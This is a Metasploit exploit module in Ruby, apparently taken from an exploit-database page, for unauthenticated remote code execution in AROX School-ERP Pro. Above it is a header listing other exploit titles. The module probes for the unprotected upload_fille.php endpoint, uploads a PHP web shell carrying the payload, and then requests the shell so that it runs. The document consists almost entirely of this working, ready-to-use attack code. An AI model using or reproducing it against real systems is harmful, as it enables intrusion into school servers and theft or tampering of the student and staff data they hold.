8cbfa5df7f
13 changes to exploits/shellcodes HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write Netperf 2.6.0 - Stack-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - Type Confusion Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow Exim 4.87 - 4.91 - Local Privilege Escalation Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (PowerShell) AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit) RedwoodHQ 2.5.5 - Authentication Bypass CleverDog Smart Camera DOG-2W / DOG-2W-V4 - Multiple Vulnerabilities Spring Security OAuth - Open Redirector Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)
105 lines
No EOL
3.3 KiB
Ruby
Executable file
105 lines
No EOL
3.3 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => "AROX School-ERP Pro Unauthenticated Remote Code Execution",
|
|
'Description' => %q(
|
|
This module exploits a command execution vulnerability in AROX School-ERP.
|
|
"import_stud.php" and "upload_fille.php" do not have session control.
|
|
Session start/check functions in Line 8,9,10 are disabled with slashes.
|
|
Therefore an unathenticated user can execute the command on the system.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://www.pentest.com.tr/exploits/AROX-School-ERP-Pro-Unauthenticated-RCE-Metasploit.html'],
|
|
['URL', 'https://sourceforge.net/projects/school-erp-ultimate/'] # Download
|
|
],
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jun 17 2019",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def exec(shell)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_data", "#{shell}") # shell url
|
|
})
|
|
end
|
|
|
|
def upload_shell(check)
|
|
|
|
fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
|
|
@shell = "#{fname}"
|
|
pdata = Rex::MIME::Message.new
|
|
pdata.add_part("" + payload.encoded, 'application/octet-stream', nil, "form-data; name=\"txtdocname\"; filename=\"#{fname}\"")
|
|
pdata.add_part('Submit', nil, nil, 'form-data; name="btnsubmit"')
|
|
data = pdata.to_s
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'agent' => 'Mozilla',
|
|
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
|
|
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /Successfully/
|
|
print_status("Trying to upload #{fname}")
|
|
return true
|
|
else
|
|
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
|
|
return false
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
unless Exploit::CheckCode::Vulnerable == check
|
|
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
|
|
end
|
|
|
|
if upload_shell(true)
|
|
print_good("Upload successfully.")
|
|
exec(@shell)
|
|
end
|
|
end
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
|
|
})
|
|
|
|
unless res
|
|
vprint_error 'Connection failed'
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
if res && res.code == 200 && res.body =~ /upload_fille.php/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end |